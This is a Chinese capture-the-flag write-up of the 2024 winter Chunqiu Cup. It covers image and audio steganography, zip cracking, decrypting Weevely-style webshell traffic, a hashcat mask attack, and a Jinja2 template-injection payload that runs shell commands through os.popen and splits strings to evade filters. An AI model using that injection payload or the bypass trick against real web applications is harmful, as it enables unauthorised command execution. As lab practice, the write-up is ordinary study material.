春秋杯 2024 冬季 WriteUp


说在前面

被拉出去练了两天车,成人干了。

基本上都是早上打的比赛,没多少时间去做题,有些需要时间的题就没有去做。

春秋这个平台恶心的一点就是赛后不开环境去复现,这里就凭记忆写点 wp 吧。


Misc

See anything in these pics

扫描 aztec.png 可以得到压缩包密码。

解压得到的图片内藏了另一张图片, 010 提取 。

发现全黑,注意到图片的 CRC 有问题,用脚本算宽高得到原始宽高为 1440x1800 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import binascii
import struct

crc = open("1.png","rb").read()

for i in range(8192):
for j in range(8192):
data = crc[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crc[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if(crc32 == 0xEF1B39BE):
print(i, j)
print('Hex:', hex(i), hex(j))

改宽高,图片中得到 flag 。

简单镜像提取

流量包里提取出镜像文件,使用 R-Studio 恢复得到一个 xlsx 。

打开即可得到 flag 。

音频的秘密

题目给了一个 wav 文件,频谱没毛病,大概率 Deepsound 。

有密码, hint 提示是弱口令,爆破出密码是 123 .

提取出来一个压缩包,藏了一张 png 图片,带加密,爆破不出。

注意到加密方式为 ZipCrypto Store 。可以使用明文破解。

破解得到 png 是 lsb 隐写,提取即可得到 flag 。

Weevil’s Whisper

分析流量包,注意到一个🐎

分析🐎的利用方式,可以整一个脚本解密流量包中传的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import base64
import zlib
import sys

k = b"161ebd7d"
kh = "45089b3446ee"
kf = "4e0d86dbcf92"
p = "lFDu8RwONqmag5ex"

def xor_decrypt(data, key):
key_len = len(key)
decrypted_data = bytearray()
for i in range(len(data)):
decrypted_data.append(data[i] ^ key[i % key_len])
return decrypted_data.decode('latin1')

def decompress(payload):
try:
decompressed_data = zlib.decompress(payload)
print("Decompressed Payload:")
print(decompressed_data.decode('utf-8', errors='ignore'))
return decompressed_data
except Exception as e:
print(f"Error decompressing payload: {e}")
return None

def main():
if len(sys.argv) != 2:
print("Usage: python decrypt_backdoor.py <encoded_payload>")
sys.exit(1)

encoded_payload = sys.argv[1].replace(p, '').replace(kh, '').replace(kf, '')

# Step 1: Base64 Decode
decoded_payload = base64.b64decode(encoded_payload)

# Step 2: XOR Decrypt
decrypted_payload = xor_decrypt(decoded_payload, k)

# Step 3: Decompress
result = decompress(decrypted_payload.encode('latin1'))

if __name__ == "__main__":
main()

在包 289 发现 flag .

flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}


Crypto

通往哈希的旅程

hashcat 掩码爆破即可。

1
hashcat -a 3 -m 100 ca12fd8250972ec363a16593356abb1f3cf3a16d 188?d?d?d?d?d?d?d?d

Web

easy_flask

最简单的 jinja2 ssti .

{{lipsum.__globals__['o'+'s']['pop''en']('cat flag').read()}}

打过去得到 flag 。

easy_php (复现)

原题:[SWPUCTF 2018]SimplePHP

改一下类名即可。